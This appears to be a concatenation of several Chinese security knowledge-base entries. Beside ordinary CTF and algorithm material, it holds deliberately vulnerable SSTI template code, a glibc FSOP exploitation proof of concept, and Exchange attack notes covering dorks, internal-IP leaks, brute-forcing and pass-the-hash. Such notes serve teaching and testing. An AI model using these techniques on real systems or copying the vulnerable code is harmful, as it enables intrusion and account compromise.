- https://github.com/VikasVarshney/ssti-payload - SSTI Payload Generator
- [payloadbox/ssti-payloads](https://github.com/payloadbox/ssti-payloads) - Server Side Template Injection Payloads
**靶场**
- [s4n7h0/xvwa](https://github.com/s4n7h0/xvwa) - 存在 SSTI 的环境
---
## SSTI 怎么产生的
**以 PHP Twig 为例**
- 正确写法 ✔
```php
<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 将用户输入作为模版变量的值
echo $output;
```
这段代码没有什么问题,用户的输入到时候渲染的时候就是 name 的值,由于 name 外面已经有 `{{}}` 了,也就是说,到时候显示的只是 name 变量的值,就算你输入了 `{{xxx}}` 输出也只是 `{{xxx}}` 而不会将 `xxx` 作为模板变量解析
- 错误写法 ❌
```php
<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET[‘name‘]}"); // 将用户输入作为模版内容的一部分
echo $output;
```
现在开发者将用户的输入直接放在要渲染的字符串中了
> 注意:不要把这里的 `{}` 当成是模板变量外面的括号,这里的括号实际上只是为了区分变量和字符串常量而已**,于是我们输入 `{{xxx}}` 就非常的符合模板的规则,模板引擎解析了
**以 python 的 jinja2 为例**
- 错误写法1 ❌
```py
@app.errorhandler(404)
def page_not_found(e):
template = '''{%% extends "layout.html" %%}
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template), 404
```
这里使用了一个字符串的格式化来传递一个 url ,但是还是用模板的方式去渲染的啊,也就是说还是支持模板引擎支持的语法,那我们为什么不能输入模板引擎的语法呢?于是在 URL 后面跟上 `{{7+7}}` 自然而然就能计算出 49 了
- 错误写法2 ❌
```py
# coding: utf-8
import sys
from jinja2 importTemplate
template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '<empty>'))
print template.render()
```
---
## java 中的 SSTI
- [java SSTI](../../语言安全/JAVA安全/JAVA代码审计.md#SSTI)
|
sec-knowleage
|
#!/usr/bin/python
from binascii import hexlify
import sys
from pcapfile import savefile
hidMap = {0:"Reserved (no event indicated)", 1:"Keyboard ErrorRollOver", 2:"Keyboard POSTFail", 3:"Keyboard ErrorUndefined", 4:"Keyboard a and A", 5:"Keyboard b and B", 6:"Keyboard c and C", 7:"Keyboard d and D", 8:"Keyboard e and E", 9:"Keyboard f and F", 10:"Keyboard g and G", 11:"Keyboard h and H", 12:"Keyboard i and I", 13:"Keyboard j and J", 14:"Keyboard k and K", 15:"Keyboard l and L", 16:"Keyboard m and M", 17:"Keyboard n and N", 18:"Keyboard o and O", 19:"Keyboard p and P", 20:"Keyboard q and Q", 21:"Keyboard r and R", 22:"Keyboard s and S", 23:"Keyboard t and T", 24:"Keyboard u and U", 25:"Keyboard v and V", 26:"Keyboard w and W", 27:"Keyboard x and X", 28:"Keyboard y and Y", 29:"Keyboard z and Z", 30:"Keyboard 1 and !", 31:"Keyboard 2 and @", 32:"Keyboard 3 and #", 33:"Keyboard 4 and $", 34:"Keyboard 5 and %", 35:"Keyboard 6 and ^", 36:"Keyboard 7 and &", 37:"Keyboard 8 and *", 38:"Keyboard 9 and (", 39:"Keyboard 0 and )", 40:"Keyboard Return (ENTER)", 41:"Keyboard ESCAPE", 42:"Keyboard DELETE (Backspace)", 43:"Keyboard Tab", 44:"Keyboard Spacebar", 45:"Keyboard - and _", 46:"Keyboard = and +", 47:"Keyboard [ and {", 48:"Keyboard ] and }", 49:"Keyboard \ and |", 50:"Keyboard Non-US # and ~", 51:"Keyboard ; and :", 52:"Keyboard quote and doubleQoute", 53:"Keyboard Grave Accent and Tilde", 54:"Keyboard, and <", 55:"Keyboard . and >", 56:"Keyboard / and ?", 57:"Keyboard Caps Lock11", 58:"Keyboard F1", 59:"Keyboard F2", 60:"Keyboard F3", 61:"Keyboard F4", 62:"Keyboard F5", 63:"Keyboard F6", 64:"Keyboard F7", 65:"Keyboard F8", 66:"Keyboard F9", 67:"Keyboard F10", 68:"Keyboard F11", 69:"Keyboard F12", 70:"Keyboard PrintScreen", 71:"Keyboard Scroll Lock", 72:"Keyboard Pause1", 73:"Keyboard Insert", 74:"Keyboard Home", 75:"Keyboard PageUp", 76:"Keyboard Delete Forward", 77:"Keyboard End", 78:"Keyboard PageDown", 79:"Keyboard RightArrow", 80:"Keyboard LeftArrow", 81:"Keyboard DownArrow", 82:"Keyboard UpArrow", 83:"Keypad Num Lock and Clear", 84:"Keypad /", 85:"Keypad *", 86:"Keypad -", 87:"Keypad +", 88:"Keypad ENTER5", 89:"Keypad 1 and End", 90:"Keypad 2 and Down Arrow", 91:"Keypad 3 and PageDn", 92:"Keypad 4 and Left Arrow", 93:"Keypad 5", 94:"Keypad 6 and Right Arrow", 95:"Keypad 7 and Home", 96:"Keypad 8 and Up Arrow", 98:"Keypad 0 and Insert", 99:"Keypad . and Delete", 100:"Keyboard Non-US \ and |", 101:"Keyboard Application10", 102:"Keyboard Power", 103:"Keypad =", 104:"Keyboard F13", 105:"Keyboard F14", 106:"Keyboard F15", 107:"Keyboard F16", 108:"Keyboard F17", 109:"Keyboard F18", 110:"Keyboard F19", 111:"Keyboard F20", 112:"Keyboard F21", 113:"Keyboard F22", 114:"Keyboard F23", 115:"Keyboard F24", 116:"Keyboard Execute", 117:"Keyboard Help", 118:"Keyboard Menu", 119:"Keyboard Select", 120:"Keyboard Stop", 121:"Keyboard Again", 122:"Keyboard Undo", 123:"Keyboard Cut", 124:"Keyboard Copy", 125:"Keyboard Paste", 126:"Keyboard Find", 127:"Keyboard Mute", 128:"Keyboard Volume Up", 129:"Keyboard Volume Down", 130:"Keyboard Locking Caps Lock12", 131:"Keyboard Locking Num Lock12", 132:"Keyboard Locking Scroll Lock12", 133:"Keypad Comma", 134:"Keypad Equal Sign", 135:"Keyboard International115", 136:"Keyboard International216", 137:"Keyboard International317", 138:"Keyboard International418", 139:"Keyboard International519", 140:"Keyboard International620", 141:"Keyboard International721", 142:"Keyboard International822", 143:"Keyboard International922", 144:"Keyboard LANG125", 145:"Keyboard LANG226", 146:"Keyboard LANG330", 147:"Keyboard LANG431", 148:"Keyboard LANG532", 149:"Keyboard LANG68", 150:"Keyboard LANG78", 151:"Keyboard LANG88", 152:"Keyboard LANG98", 153:"Keyboard Alternate Erase", 154:"Keyboard SysReq/Attention", 155:"Keyboard Cancel", 156:"Keyboard Clear", 157:"Keyboard Prior", 158:"Keyboard Return", 159:"Keyboard Separator", 160:"Keyboard Out", 161:"Keyboard Oper", 162:"Keyboard Clear/Again", 163:"Keyboard CrSel/Props", 164:"Keyboard ExSel", 165:"AF Reserved", 166:"AF Reserved", 167:"AF Reserved", 169:"AF Reserved", 170:"AF Reserved", 171:"AF Reserved", 172:"AF Reserved", 173:"AF Reserved", 174:"AF Reserved", 175:"AF Reserved", 176:"Keypad 00", 177:"Keypad 000", 178:"Thousands Separator", 179:"Decimal Separator", 180:"Currency Unit", 181:"Currency Sub-unit", 182:"Keypad (", 184:"Keypad {", 185:"Keypad }", 186:"Keypad Tab", 187:"Keypad Backspace", 188:"Keypad A", 189:"Keypad B", 190:"Keypad C", 191:"Keypad D", 192:"Keypad E", 193:"Keypad F", 194:"Keypad XOR", 195:"Keypad ^", 196:"Keypad %", 197:"Keypad <", 198:"Keypad >", 199:"Keypad &", 200:"Keypad &&", 201:"Keypad |", 202:"Keypad ||", 203:"Keypad :", 204:"Keypad #", 205:"Keypad Space", 206:"Keypad @", 207:"Keypad !", 208:"Keypad Memory Store", 209:"Keypad Memory Recall", 210:"Keypad Memory Clear", 211:"Keypad Memory Add", 212:"Keypad Memory Subtract", 213:"Keypad Memory Multiply", 214:"Keypad Memory Divide", 215:"Keypad +/-", 216:"Keypad Clear", 217:"Keypad Clear Entry", 218:"Keypad Binary", 219:"Keypad Octal", 220:"Keypad Decimal", 221:"Keypad Hexadecimal", 222:"DF Reserved", 223:"DF Reserved", 224:"Keyboard LeftControl", 225:"Keyboard LeftShift", 226:"Keyboard LeftAlt", 227:"Keyboard Left GUI10", 228:"Keyboard RightControl", 229:"Keyboard RightShift", 230:"Keyboard RightAlt", 231:"Keyboard Right GUI"}
def main():
s=""
lastt=0
if(len(sys.argv) != 2):
print("Usage: python parsePcap.py <pcap.file>")
return
fileIn = open(sys.argv[1])
capFile = savefile.load_savefile(fileIn, verbose=True)
for packet in capFile.packets:
if(len(hexlify(packet.raw())) == 0x41*2):
leftoverPacketData = hexlify(packet.raw())[-2:]
t=packet.timestamp*1000+packet.timestamp_ms
diff=t-lastt
lastt=t
if diff>100000:
continue
if leftoverPacketData!="03":
if diff>300:
s+="_"
else:
s+="."
else:
if diff<300:
s+=""
else:
s+=" "
print s
if __name__ == "__main__":
main()
|
sec-knowleage
|
# zer0lfsr (crypto, 207p, 47 solved)
In the challenge we get [code](chall.py)and the [keystream](keystream).
Upon inspection of the code it's clear that it's a basic implementation of a Linear Feedback Shift Register algorithm.
The algorithm uses 3 independend LFSRs and combines their outputs into a single keystream.
Our goal is to recover the initial states of each of the generators.
First interesting thing to notice is that the state length is rather short, only 48 bits.
The other thing is that there are only 2 bits set in the mask, which means each output bit of the LFSR depends on the state of only 2 bits from the state.
The the state is shifted and the last bit is set to the output each round.
Let's first focus on breaking a single LFSR.
It's clear that if bits `k` and `m` are set in the mask, then each output bit tells us the value of `state[k]^state[m]`.
The state is shifted each time and last bit is set to the output bit.
This is interesting, because we actually know the value of this bit, from the output keystream.
If we now follow this bit when it propagages over the register, at some point it's going to have index `k` and get xored with bit at index `m`.
But the bit at index `m` is part of the initial state we're trying to recover!
So we can directly recover value of this bit.
We're lazy, so we can simply ask Z3 to follow all the bit correspondence, instead of doing this by hand:
```python
def solve_lfsr(results, index1, index2, length):
s = z3.Solver()
x = init_recovered = z3.BitVec('x', length)
for result in results:
relevant_bit1 = init_recovered & (1 << index1)
bit1_value = z3.LShR(relevant_bit1, index1)
relevant_bit2 = init_recovered & (1 << index2)
bit2_value = z3.LShR(relevant_bit2, index2)
s.add(bit1_value ^ bit2_value == result)
init_recovered = ((init_recovered << 1) & (2 ** (length + 1) - 1)) ^ result
s.check()
return long_to_bytes(int(str(s.model()[x])))
```
To make things faster we omit the loop over all state bits, since we know only the `1` bits in the mask count.
We recover the value of those 2 relevant bits (masks in the task have always only 2 bits up), and add constraint that XOR of those bits should be the same as in the result.
It's enough to go over as many bits as are in the initial state, because after that the state comprises of output bits we already know.
We can check this with a simple sanity check:
```python
def sanity1():
init = random.choice(string.lowercase)
print('target', init)
size = len(init) * 8
i = bytes_to_long(init)
target = lfsr(i, 0b11000000, size)
results = [target.next() for _ in range(size)]
print('result', solve_lfsr(results, 7, 6, size))
```
We succesfully proven that it's trivial to break a single LFSR.
The actual challenge uses 3 of those and combines their results via:
```python
def combine(x1, x2, x3):
return (x1 * x2) ^ (x2 * x3) ^ (x1 * x3)
```
Since inputs to this function are single bit values it's actually:
```python
def combine(x1, x2, x3):
return (x1 & x2) ^ (x2 & x3) ^ (x1 & x3)
```
Although there are now 3 LFSRs, it doesn't really make the challenge any harder.
The idea is still the same, but we don't know the exact value of output bits, but with enough input keystream there should be enough clear relations between the bits to make this work.
We extend the previous solver to include 3 states:
```python
def solve_3_lfsr(keystream, relevant_bit_indices, length, mask_length):
len_mask = (2 ** (mask_length + 1) - 1)
result_bits = map(long, "".join([bin(ord(c))[2:].zfill(8) for c in keystream]))
s = z3.Solver()
x = z3.BitVec('x', length)
y = z3.BitVec('y', length)
z = z3.BitVec('z', length)
inits = [x, y, z]
for result in result_bits:
combs = []
new_inits = []
for index in range(3):
relevant_bit1 = (inits[index] & (1 << relevant_bit_indices[index][0]))
bit1_value = z3.LShR(relevant_bit1, relevant_bit_indices[index][0])
relevant_bit2 = inits[index] & (1 << relevant_bit_indices[index][1])
bit2_value = z3.LShR(relevant_bit2, relevant_bit_indices[index][1])
single_lfsr_result = bit1_value ^ bit2_value
combs.append(single_lfsr_result)
new_init = ((inits[index] << 1) & len_mask) ^ single_lfsr_result
new_inits.append(new_init)
s.add(combine(combs[0], combs[1], combs[2]) == result)
inits = new_inits
s.check()
model = s.model()
print(model)
x_res = int(str(model[x]))
y_res = int(str(model[y]))
z_res = int(str(model[z]))
return x_res, y_res, z_res
```
We follow the algorithm just like previously, but now we add constraints on the result of `combine` function of 3 outputs.
We can verify that this actually works via simple sanity check:
```python
def sanity2():
bit_size = 48
byte_size = bit_size / 8
init1 = urandom(byte_size)
init2 = urandom(byte_size)
init3 = urandom(byte_size)
target = map(bytes_to_long, [init1, init2, init3])
print('target', target)
streamlen = bit_size
mask1 = (47, 22)
mask2 = (47, 13)
mask3 = (47, 41)
target1 = lfsr(bytes_to_long(init1), 0b100000000000000000000000010000000000000000000000, bit_size)
target2 = lfsr(bytes_to_long(init2), 0b100000000000000000000000000000000010000000000000, bit_size)
target3 = lfsr(bytes_to_long(init3), 0b100000100000000000000000000000000000000000000000, bit_size)
keystream = ""
for i in range(streamlen):
b = 0
for j in range(8):
b = (b << 1) + combine(target1.next(), target2.next(), target3.next())
keystream += chr(b)
x, y, z = solve_3_lfsr(keystream, [mask1, mask2, mask3], bit_size)
print('result', x, y, z)
assert (target == [x, y, z])
```
It works just as expected.
Now we can plug the original inputs:
```python
def solve():
with codecs.open("keystream", 'rb', 'utf8') as input_file:
data = input_file.read()
mask1 = (47, 22)
mask2 = (47, 13)
mask3 = (47, 41)
x, y, z = solve_3_lfsr("".join(map(chr, map(ord, data)))[:48], [mask1, mask2, mask3], 48)
print(x, y, z)
init1, init2, init3 = map(long_to_bytes, [x, y, z])
print("flag{" + hashlib.sha256(init1 + init2 + init3).hexdigest() + "}")
```
And we get back `flag{b527e2621131134ec22250cfbca75e8c9f5ae4f40370871fd55910927f66a1b4}`
|
sec-knowleage
|
##DeathStar
DeathStar是一个很强悍的自动化工具。三言两语无法解释清楚,看byt3bl33d3r的流程图。
运行DeathStar后,只需喝杯咖啡的时间,就可以恭喜你已经成为域控管理员啦!
注:在融合DeathStar和Empire时遇到了一些麻烦。在[DeathStar](https://github.com/byt3bl33d3r/DeathStar )的Github页面上有作解释,我会尽快解决的。
详细简介:https://blog.stealthbits.com/automating-mimikatz-with-empire-and-deathstar/
|
sec-knowleage
|
# 6. 从尾到头打印链表
## 题目链接
[牛客网](https://www.nowcoder.com/practice/d0267f7f55b3412ba93bd35cfa8e8035?tpId=13&tqId=11156&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github)
## 题目描述
从尾到头反过来打印出每个结点的值。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/f5792051-d9b2-4ca4-a234-a4a2de3d5a57.png" width="300px"> </div><br>
## 解题思路
### 1. 使用递归
要逆序打印链表 1-\>2-\>3(3,2,1),可以先逆序打印链表 2-\>3(3,2),最后再打印第一个节点 1。而链表 2-\>3 可以看成一个新的链表,要逆序打印该链表可以继续使用求解函数,也就是在求解函数中调用自己,这就是递归函数。
```java
public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
ArrayList<Integer> ret = new ArrayList<>();
if (listNode != null) {
ret.addAll(printListFromTailToHead(listNode.next));
ret.add(listNode.val);
}
return ret;
}
```
### 2. 使用头插法
头插法顾名思义是将节点插入到头部:在遍历原始链表时,将当前节点插入新链表的头部,使其成为第一个节点。
链表的操作需要维护后继关系,例如在某个节点 node1 之后插入一个节点 node2,我们可以通过修改后继关系来实现:
```java
node3 = node1.next;
node2.next = node3;
node1.next = node2;
```
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/58c8e370-3bec-4c2b-bf17-c8d34345dd17.gif" width="220px"> </div><br>
为了能将一个节点插入头部,我们引入了一个叫头结点的辅助节点,该节点不存储值,只是为了方便进行插入操作。不要将头结点与第一个节点混起来,第一个节点是链表中第一个真正存储值的节点。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/0dae7e93-cfd1-4bd3-97e8-325b032b716f-1572687622947.gif" width="420px"> </div><br>
```java
public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
// 头插法构建逆序链表
ListNode head = new ListNode(-1);
while (listNode != null) {
ListNode memo = listNode.next;
listNode.next = head.next;
head.next = listNode;
listNode = memo;
}
// 构建 ArrayList
ArrayList<Integer> ret = new ArrayList<>();
head = head.next;
while (head != null) {
ret.add(head.val);
head = head.next;
}
return ret;
}
```
### 3. 使用栈
栈具有后进先出的特点,在遍历链表时将值按顺序放入栈中,最后出栈的顺序即为逆序。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/9d1deeba-4ae1-41dc-98f4-47d85b9831bc.gif" width="340px"> </div><br>
```java
public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
Stack<Integer> stack = new Stack<>();
while (listNode != null) {
stack.add(listNode.val);
listNode = listNode.next;
}
ArrayList<Integer> ret = new ArrayList<>();
while (!stack.isEmpty())
ret.add(stack.pop());
return ret;
}
```
|
sec-knowleage
|
### FSOP介绍
FSOP是File Stream Oriented Programming的缩写,根据前面对FILE的介绍得知进程内所有的_IO_FILE结构会使用_chain域相互连接形成一个链表,这个链表的头部由_IO_list_all维护。
FSOP的核心思想就是劫持_IO_list_all的值来伪造链表和其中的_IO_FILE项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all链表中所有项的文件流,相当于对每个FILE调用fflush,也对应着会调用_IO_FILE_plus.vtable中的_IO_overflow。
```
int
_IO_flush_all_lockp (int do_lock)
{
...
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}
...
}
}
```
而_IO_flush_all_lockp不需要攻击者手动调用,在一些情况下这个函数会被系统调用:
1.当libc执行abort流程时
2.当执行exit函数时
3.当执行流从main函数返回时
### FSOP利用示例
梳理一下FSOP利用的条件,首先需要攻击者获知libc.so基址,因为_IO_list_all是作为全局变量储存在libc.so中的,不泄漏libc基址就不能改写_IO_list_all。
之后需要用任意地址写把_IO_list_all的内容改为指向我们可控内存的指针,
之后的问题是在可控内存中布置什么数据,毫无疑问的是需要布置一个我们理想函数的vtable指针。但是为了能够让我们构造的fake_FILE能够正常工作,还需要布置一些其他数据。
这里的依据是我们前面给出的
```
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}
```
也就是
* fp->_mode <= 0
* fp->_IO_write_ptr > fp->_IO_write_base
在这里通过一个示例来验证这一点,首先我们分配一块内存用于存放伪造的vtable和_IO_FILE_plus。
为了绕过验证,我们提前获得了_IO_write_ptr、_IO_write_base、_mode等数据域的偏移,这样可以在伪造的vtable中构造相应的数据
```
#define _IO_list_all 0x7ffff7dd2520
#define mode_offset 0xc0
#define writeptr_offset 0x28
#define writebase_offset 0x20
#define vtable_offset 0xd8
int main(void)
{
void *ptr;
long long *list_all_ptr;
ptr=malloc(0x200);
*(long long*)((long long)ptr+mode_offset)=0x0;
*(long long*)((long long)ptr+writeptr_offset)=0x1;
*(long long*)((long long)ptr+writebase_offset)=0x0;
*(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);
*(long long*)((long long)ptr+0x100+24)=0x41414141;
list_all_ptr=(long long *)_IO_list_all;
list_all_ptr[0]=ptr;
exit(0);
}
```
我们使用分配内存的前0x100个字节作为_IO_FILE,后0x100个字节作为vtable,在vtable中使用0x41414141这个地址作为伪造的_IO_overflow指针。
之后,覆盖位于libc中的全局变量 _IO_list_all,把它指向我们伪造的_IO_FILE_plus。
通过调用exit函数,程序会执行 _IO_flush_all_lockp,经过fflush获取_IO_list_all的值并取出作为_IO_FILE_plus调用其中的_IO_overflow
```
---> call _IO_overflow
[#0] 0x7ffff7a89193 → Name: _IO_flush_all_lockp(do_lock=0x0)
[#1] 0x7ffff7a8932a → Name: _IO_cleanup()
[#2] 0x7ffff7a46f9b → Name: __run_exit_handlers(status=0x0, listp=<optimized out>, run_list_atexit=0x1)
[#3] 0x7ffff7a47045 → Name: __GI_exit(status=<optimized out>)
[#4] 0x4005ce → Name: main()
```
|
sec-knowleage
|
# Exchange
<p align="center">
<img src="../../../../../assets/img/banner/Exchange.png">
</p>
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**简介**
Exchange Server 是微软公司的一套电子邮件服务组件,是个消息与协作系统。简单而言, Exchange server 可以被用来构架应用于企业、学校的邮件系统。Exchange server 还是一个协作平台。在此基础上可以开发工作流,知识管理系统,Web 系统或者是其他消息系统。
**相关文章**
- [渗透测试中的Exchange](https://www.anquanke.com/post/id/226543)
- [渗透技巧——获得Exchange GlobalAddressList的方法](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E8%8E%B7%E5%BE%97Exchange-GlobalAddressList%E7%9A%84%E6%96%B9%E6%B3%95/)
- [Exchange漏洞攻略来啦!!](https://mp.weixin.qq.com/s/EIiYn4cr_PmPT8YgiDAfaQ)
- [Attacking MS Exchange Web Interfaces](https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/)
- [细数微软Exchange的那些高危漏洞](https://mp.weixin.qq.com/s/O9SFufxz0rtAJtcP32giog)
- [深入Exchange Server在网络渗透下的利用方法](https://www.freebuf.com/articles/web/193132.html)
- [Exchange在渗透测试中的利用](https://evi1cg.me/archives/Exchange_Hack.html)
- [Exchange EWS接口的利用](https://www.t00ls.net/thread-62442-1-3.html)
- [针对Exchange的攻击方式](https://tttang.com/archive/1487/)
- [各个阶段 Exchange 的利用手法](https://mp.weixin.qq.com/s/6rPQD6zTVrqwOIREMAavpQ)
- [『红蓝对抗』Exchange的渗透流程(一)](https://mp.weixin.qq.com/s/yU0LGNI-D30VZ3A89p1x-A)
- [Exchange 暴力破解与防范](https://mp.weixin.qq.com/s/WF2kHt4MKvjwnj92W4f8Xw)
- [渗透基础——获得Exchange服务器的内网IP](https://3gstudent.github.io//%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E8%8E%B7%E5%BE%97Exchange%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E5%86%85%E7%BD%91IP)
- [【技术原创】渗透基础——Exchange版本探测的优化](https://www.4hou.com/posts/WBwx)
**状况检查**
- [dpaulson45/HealthChecker](https://github.com/dpaulson45/HealthChecker) - Exchange Server 运行状况检查脚本
- [microsoft/CSS-Exchange](https://github.com/microsoft/CSS-Exchange) - Exchange Server支持工具和脚本,用于检测各类问题
**环境搭建**
- [Exchange搭建](../../../../Integrated/Windows/实验/Exchange搭建.md)
---
## Dork
```
microsoft exchange 2013:
app="Microsoft-Exchange-2013"||app="Microsoft-Exchange-Server-2013-CU21"||app="Microsoft-Exchange-Server-2013-CU17"||app="Microsoft-Exchange-Server-2013-CU23"||app="Microsoft-Exchange-Server-2013-CU13"||app="Microsoft-Exchange-Server-2013-CU22"||app="Microsoft-Exchange-Server-2013-CU11"||app="Microsoft-Exchange-Server-2013-CU2"||app="Microsoft-Exchange-Server-2013-CU16"||app="Microsoft-Exchange-Server-2013-CU19"||app="Microsoft-Exchange-Server-2013-CU3"||app="Microsoft-Exchange-Server-2013-CU18"||app="Microsoft-Exchange-Server-2013-CU5"||app="Microsoft-Exchange-Server-2013-CU20"||app="Microsoft-Exchange-Server-2013-CU12"||app="Microsoft-Exchange-Server-2013-CU15"||app="Microsoft-Exchange-Server-2013-CU10"||app="Microsoft-Exchange-Server-2013-CU9"||app="Microsoft-Exchange-Server-2013-CU6"||app="Microsoft-Exchange-Server-2013-CU7"||app="Microsoft-Exchange-Server-2013-CU1"||app="Microsoft-Exchange-Server-2013-CU14"||app="Microsoft-Exchange-Server-2013-CU8"||app="Microsoft-Exchange-Server-2013-RTM"||app="Microsoft-Exchange-Server-2013-SP1"||app="Microsoft-Exchange-2013"
microsoft exchange 2016:
app="Microsoft-Exchange-Server-2016-CU19"||app="Microsoft-Exchange-Server-2016-CU3"||app="Microsoft-Exchange-Server-2016-CU12"||app="Microsoft-Exchange-Server-2016-RTM"||app="Microsoft-Exchange-Server-2016-CU7"||app="Microsoft-Exchange-Server-2016-CU17"||app="Microsoft-Exchange-Server-2016-CU2"||app="Microsoft-Exchange-Server-2016-CU1"||app="Microsoft-Exchange-Server-2016-CU14"||app="Microsoft-Exchange-Server-2016-CU5"||app="Microsoft-Exchange-Server-2016-CU11"||app="Microsoft-Exchange-Server-2016-CU9"||app="Microsoft-Exchange-Server-2016-CU16"||app="Microsoft-Exchange-Server-2016-CU10"||app="Microsoft-Exchange-Server-2016-CU6"||app="Microsoft-Exchange-Server-2016-CU13"||app="Microsoft-Exchange-Server-2016-CU18"||app="Microsoft-Exchange-Server-2016-CU8"||app="Microsoft-Exchange-Server-2016-CU4"||app="Microsoft-Exchange-2016-POP3-server"
microsoft exchange 2019:
app="Microsoft-Exchange-Server-2019-CU5"||app="Microsoft-Exchange-Server-2019-CU3"||app="Microsoft-Exchange-Server-2019-Preview"||app="Microsoft-Exchange-Server-2019-CU8"||app="Microsoft-Exchange-Server-2019-CU1"||app="Microsoft-Exchange-Server-2019-CU7"||app="Microsoft-Exchange-Server-2019-CU2"||app="Microsoft-Exchange-Server-2019-CU6"||app="Microsoft-Exchange-Server-2019-RTM"||app="Microsoft-Exchange-Server-2019-CU4"
microsoft exchange 2010:
app="Microsoft-Exchange-2010-POP3-server-version-03.1"||app="Microsoft-Exchange-Server-2010"
```
- [ysecurity/checkO365](https://github.com/vysecurity/checkO365) - 检查目标域是否正在使用 Office365 的工具
---
## 版本识别
1. 在登录界面查看网页源代码:
其中 15.1.2106.2 就是当前 exchange 的版本,在 Mircosoft 网站上根据版本号就可以直接查询:
- https://docs.microsoft.com/zh-cn/Exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
2. 请求 /owa、/owa/service 等路径,在返回头 X-OWA-Version: 中查看完整的内部版本号,比如 15.1.2375.7
3. 直接访问 /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application,下载下来的 xml 文档中会包含完整的内部版本号
**相关工具**
- https://github.com/3gstudent/Homework-of-Python/blob/master/Exchange_GetVersion_ParseFromWebsite.py
---
## 域内定位 Exchange 服务器
**ldap 定位**
在域内可以使用 ldap 定位, 过滤规则
```
"(objectCategory=msExchExchangeServer)"
```
**spn 定位**
通过 spn 来定位,windows 自带 setspn。
```
setspn -q */*
setspn -Q IMAP/*
setspn -Q exchange*/*
```
通过 DNS 查询定位
```
nslookup.exe -type=srv _autodiscover._tcp
```
---
## 信息泄露
**IP**
- 访问以下接口,HTTP 协议版本修改成 1.0,去掉 http 头里面的 HOST 参数
```
/OWA
/Autodiscover
/Exchange
/ecp
/aspnet_client
```
- msf
```bash
use auxiliary/scanner/http/owa_iis_internal_ip
# 脚本里面限定了内网IP范围,如果企业是自定义的内网IP,可能无法获取到IP,https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb#L79
```
- nmap
```bash
nmap x.x.x.x -p 443 --script http-ntlm-info --script-args http-ntlm-info.root=/rpc/rpcproxy.dll
```
- python
- https://3gstudent.github.io//%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E8%8E%B7%E5%BE%97Exchange%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E5%86%85%E7%BD%91IP
---
## 爆破
通常情况下,Exchange 系统是不对邮箱登录次数做限制,利用大字典来进行爆破,是最为常见的突破方法。
Exchange 邮箱的登录账号分为三种形式, 分别为 “domain\username”、“username” 和“user@domain(邮件地址)”, 这三种方式可以并存使用, 也可以限制具体一种或两种使用。
具体使用哪一种用户名登录可以根据登录口的提示确定, 但这并不百分百准确, 管理员通过修改配置或者登录页面, 可以自行设置登录方式, 和提示说明。因此如果直接使用 owa 页面爆破, 用户名需要尝试全部三种方式。
爆破方式使用 burp 即可, 通过返回包长短即可判断成功与否。
对于某些限制登录次数的网站, 还可以尝试对其 NTLM 验证接口进行爆破, 最常见的就是 ews 接口, 但除此之外,还有以下接口地址。
- HTTP 直接认证
```
/ecp # Exchange 管理中心,管理员用于管理组织中的Exchange 的Web控制台
/owa # Exchange owa 接口,用于通过web应用程序访问邮件、日历、任务和联系人等
```
- HTTP NTLM 认证
```
/Autodiscover/Autodiscover.xml # 自 Exchange Server 2007 开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登录使用邮箱的流程。
/Microsoft-Server-ActiveSync/default.eas
/Microsoft-Server-ActiveSync # 用于移动应用程序访问电子邮件
/Autodiscover
/Rpc/ # 早期的 Outlook 还使用称为 Outlook Anywhere 的 RPC 交互
/EWS/Exchange.asmx
/EWS/Services.wsdl
/EWS/ # Exchange Web Service,实现客户端与服务端之间基于HTTP的SOAP交互
/OAB/ # 用于为Outlook客户端提供地址簿的副本,减轻 Exchange 的负担
/Mapi # Outlook连接 Exchange 的默认方式,在2013和2013之后开始使用,2010 sp2同样支持
/powershell # 用于服务器管理的 Exchange 管理控制台
```
由于这些接口支持 NTLM 认证,因此也能 pth 域用户账户。甚至,`/rpc` 接口的 `[MS-OXNSPI]` 协议还能 pth 域机器账户。
